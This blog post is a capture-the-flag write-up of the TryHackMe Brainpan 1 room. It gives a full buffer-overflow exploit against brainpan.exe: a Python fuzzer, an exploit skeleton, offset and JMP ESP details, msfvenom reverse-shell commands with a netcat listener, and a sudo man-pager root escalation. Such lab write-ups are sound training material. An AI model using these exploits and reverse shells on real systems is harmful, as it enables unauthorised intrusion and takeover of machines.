Try Hack Me — Brainpan 1

Write Up

0th3r_
11 min readMay 30, 2020

This is a writeup of Brainpan 1 from TryHackMe.

The goal of these writeups is to share with others whilst developing reporting habits and improving my own process. This writeup will not include any passwords/cracked hashes/flags.

Credits to the room creator/s.

Setup

First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.

Once we are connected we will deploy the machine:

When we click deploy, the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.236.136 and the time limit which we can add to if we need to:

For this machine I’ll be using a Kali Linux VM and a Windows 10 VM with Immunity Debugger installed.

Scanning

We start by running our scan with nmap:

nmap -sC -sV -oN brainpan-scan 10.10.236.136

From the results we get:

PORT      STATE SERVICE VERSION                                                                                                                                                             
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

Let’s investigate these ports further.

Enumerating Port 9999

We will connect to this port using netcat and see whats happening:

nc -nv 10.10.236.136 9999

We get the following welcome screen and prompt to enter the password. It looks like there is a program running on the port. Lets try entering a password:

Our password is denied. However, because the program accepts user input if we can find a copy of it we may be able to debug it for a buffer overflow exploit.

Enumerating port 10000

Port 10000 is serving http so let’s look at whats on the page in the browser:

The page returned is just an image so we’ll run dirb to find any other directories:

dirb http://10.10.236.136:10000

We find /bin so we will go see what is there:

We find a Windows executable file called brainpan.exe.

We will download this file and transfer it to our Windows Lab machine.

Investigating Brainpan.exe

Now we have the files on our Windows Lab machine, we will start by verifying that the program runs the same locally as on the target machine. We run the executable and try connecting to it from our Kali machine using netcat same as before:

nc -nv <windows lab IP> 9999

We can verify that it is the same program running on the target. We can also see some output in the programs console running on Windows that may be relevant later:

Condsidering it takes user input for the password field we will move on to attaching the program to Immunity Debugger and seeing if we can crash it.

Crashing the Program

First, we restart brainpan.exe on our lab machine. Then, we open Immunity Debugger and attach the executable:

Once the programs attached we click the ‘play’ button to make sure it’s running.

We will see how the program responds to being fed a string of 3000 characters. We can generate the string using python and then copy+paste it in as the input:

python -c 'print "A" * 3000'

The 3000 A’s crash the program and overwrite the instruction pointer, we can see this in Immunity Debugger where the EIP is overwritten with 41414141:

We now know that the password parameter is vulnerable to a buffer overflow but we need some idea of how many characters make it crash. For this we will use a fuzzer script:

#!/usr/bin/python
import sys,socket
import time

address = '<target IP>'
port = 9999
buffer = ['A']
counter = 100
while len(buffer) < 10:
buffer.append('A'*counter)
counter=counter+100
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((address,port))
s.send(string + '\r\n')
s.recv(1024)
print '[+] Done'
except:
print '[!] Unable to connect to the application. You may have crashed it.'
sys.exit(0)
finally:
s.close()

The script will send a series of characters up until the point where the program crashes and give us some idea of how many characters force the program to crash. We will reset brainpan.exe and re-attach it to Immunity Debugger and then run our fuzzer script:

python fuzzer.py

These results tell us that the program crashes somewhere around 602 bytes.

Developing an Exploit in Python

This is the skeleton exploit we will start with:

#!/usr/bin/python# ------------------------------------------------------------info
# Software name: brainpan.exe
# Vulnerable Input: password
# Target IP:
# PoC Crash Length: 650
# EIP Overwrite:
# Bad Characters: \x00
# Vulnerable Module:
# JMP ESP address [eg.0x1480111e]:
# JMP ESP address little endian [eg.\x1e\x11\x80\x14]:
# Shellcode jump code: N/A
# !!! Comment what you are adjusting in the code !!!
import socket,sys
target = '<ip>' # Target IP
port = 9999 # Target Port
# ! CODE !
# Buffer Values
filler = "A" * 650
# eip =
# nop =
# pattern = ("")
# badchars = ("")
# shellcode = ("")
#-----------Exploit-Code--------------------------------------------try:
print "\n[+]Sending evil buffer..."
buffer = filler
# buffer = pattern
# buffer += eip
# buffer += nop
# buffer += badchars
# buffer += shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
s.send(buffer + '\r\n')
s.recv(1024)
except:
print "\n[!]Could not connect[!]"
sys.exit(0)
finally:
s.close()

First we want to verify that the program crashes with the information from our proof of concept. Let’s send 650 bytes using our exploit and see if we get the same results. We will restart brainpan.exe and re-attach it to Immunity Debugger then run the python exploit (remember to add your lab IP and uncomment where necessary):

We run the exploit and it achieves the same crash using 650 bytes. Now, we can move on to finding where in the string the EIP gets overwritten.

Finding the Offset

To find the offset we can use msf-pattern_create:

msf-pattern_create -l 650

We will add this string to this section of our code and uncomment in the buffer and the buffer values sections and we will comment out the filler in the buffer and the buffer values sections:

pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab...")

We will setup Immunity and brainpan.exe and run the exploit again:

This time our EIP is overwritten with 35724134. We can use this value to identify the part of the string using msf-pattern offset:

msf-pattern_offset -l 650 -q 35724134

We find an exact match at offset 524. It’s worth noting now that this will leave us with only 126 bytes of space for our jump and our shellcode. Shellcode will usuaully take up to at least 351 bytes so we will need to see if we can create enough space following the offset.

Confirming Offset and Shellcode space

For this we will adjust the exploit as follows. We don’t need the pattern string anymore so comment it out / delete it:

filler = "A" * 524
eip = "B" * 4
nop = "C" * 400

This will send 524 A’s to the buffer first followed by 4 B’s and then 400 C’s. We are placing the 4 B’s to verify the offset, if our pattern investigation was correct we should have 42424242 set to the EIP register. We will also use the 400 C’s to check if we have enough space after the jump for our shellcode.

Our buffer will look like this:

  buffer = filler
# buffer = pattern
buffer += eip
buffer += nop
# buffer += badchars
# buffer += shellcode

Let’s setup Immunity Debugger with brainpan.exe and run the exploit:

From the results in Immunity we can see that our EIP register was overwritten with 42424242 as expected and our ESP has plenty of space for shellcode. Let’s move on to identifying any bad characters that we will need to avoid in our shell code and our jump register.

Checking for Bad Characters

Characters that the program doesn’t like can’t be included in our jump address or our shellcode so we need to identify them. As a given the null byte (\x00) is a bad character so we can take that off our list. Now if we modify our exploit to send the following after the four B’s we can check in the hex dump if any characters will be an issue. We will adjust our exploit values:

filler = "A" * 524
eip = "B" * 4
#nop = "C" * 400
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

And adjust our buffer to send this:

  buffer = filler
buffer += eip
# buffer += nop
# buffer = pattern

buffer += badchars
# buffer += shellcode

With the changes made we reconnect Immunity and run the exploit. Once the exploit crashes if we right click on the ESP register value and select ‘follow in hex dump’ we can check the hex dump and see if all our characters are displaying correctly:

In this case we can see no bad characters in the hex dump, we will just have to account for the null-byte when generating our shell code. Next, we need to find a jump code to use.

Finding a Jump Code

To find the jump code we need of JMP ESP we use mona modules. At the bottom of Immunity Debugger theres a console where we can type:

!mona modules

We will be able to see the modules available.

First we will check ‘brainpan.exe’ for a valid JMP ESP address:

!mona jmp -r esp -m brainpan.exe

This time we discover a total of 1 available pointers. For our exploit we will try 0x311712f3. Let’s add this to our exploit:

#!/usr/bin/python# ------------------------------------------------------------info
# Software name: brainpan.exe
# Vulnerable Input: password
# Target IP:
# PoC Crash Length: 650
# EIP Overwrite: 524
# Bad Characters: \x00
# Vulnerable Module: brainpan.exe
# JMP ESP address: 0x311712f3
# JMP ESP address little endian: \xf3\x12\x17\x31
# Shellcode jump code: N/A
# !!! Comment what you are adjusting in the code !!!
import socket,sys
target = '<IP>' # Target IP
port = 9999 # Target Port
# ! CODE !
# Buffer Values
filler = "A" * 524
eip = "\xf3\x12\x17\x31"
nop = "C" * 400
# pattern = ("")
# badchars = ("")
# shellcode = ("")
#-----------Exploit-Code--------------------------------------------
try:
print "\n[+]Sending evil buffer..."
buffer = filler
# buffer = pattern
buffer += eip
buffer += nop
# buffer += badchars
# buffer += shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
s.send(buffer + '\r\n')
s.recv(1024)

except:
print "\n[!]Could not connect[!]"
sys.exit(0)

We will reset Immunity and re-attach brainpan.exe. To verify that we are in fact hitting our jump call we will set a breakpoint at the address in Immunity by locating and pressing F2:

Now, when we run the exploit the program should pause at the breakpoint and we should be able to step-through and verify that our jump to esp has been successful.

We can see that our breakpoint has been hit and our EIP is pointing ot the JMP ESP address. Let’s step forward and see if we reach our section of C’s:

We can see that we do. This is where we want to place our shellcode.

Shellcode

Now, we can generate our reverse shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=<my ip> LPORT=4444 -f c -e x86/shikata_ga_nai -b "\x00"

We will add this into our exploit (remember to add some nops before the shellcode, \x90) and setup our listener on our Kali machine:

nc -lvnp 4444

When we run the exploit we get a shell back from our Windows Lab machine.

Now we can change the IP in the exploit and the IP of the listener in our shellcode to our TryHackMe IP and run it against the deployed machine.

Exploitation

First, we are exploiting a Windows executable on a Linux machine, we will need to modify our payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<my ip> LPORT=4444 -f c -e x86/shikata_ga_nai -b "\x00"

We modify the code as necessary and setup our netcat listener:

nc -lvnp 4444

We run the exploit against the target and receive a shell back to our listner:

We on the Linux machine as user Puck.

Privilege Escalation

First, we will upgrade our shell by entering:

python -c 'import pty;pty.spawn("/bin/bash")'

Then we will background the shell with Ctrl-z and enter:

stty raw -echo
fg

Then on our target shell we will enter:

export TERM=xterm

Now we have a stable shell we will check our privileges:

sudo -l

We can see from the output that we can run the command anansi_util as root without entering a password.

Let’s run the command and see what happens:

sudo /home/anansi/bin/anansi_util

Similar to a help page we are returned the usage of the command. With manual we can follow the action with a command. If we can open a man page for a command we may be able to break out of it because of the pager manual pages open in, check out GTFObins for more info.

We will try running opening the manual for the cat command:

sudo /home/anansi/bin/anansi_util manual cat

Running the command opens up the manual. Now if we run the following we should break out into a root shell:

!/bin/bash

When we run the command we are returned a root shell.

Thanks to everyone who worked on the machine.

--

--

0th3r_

Hi, I’m Ben. This blog is for my write-ups on my journey through learning in infosec. I am OSCP certified and currently looking for experience in the industry.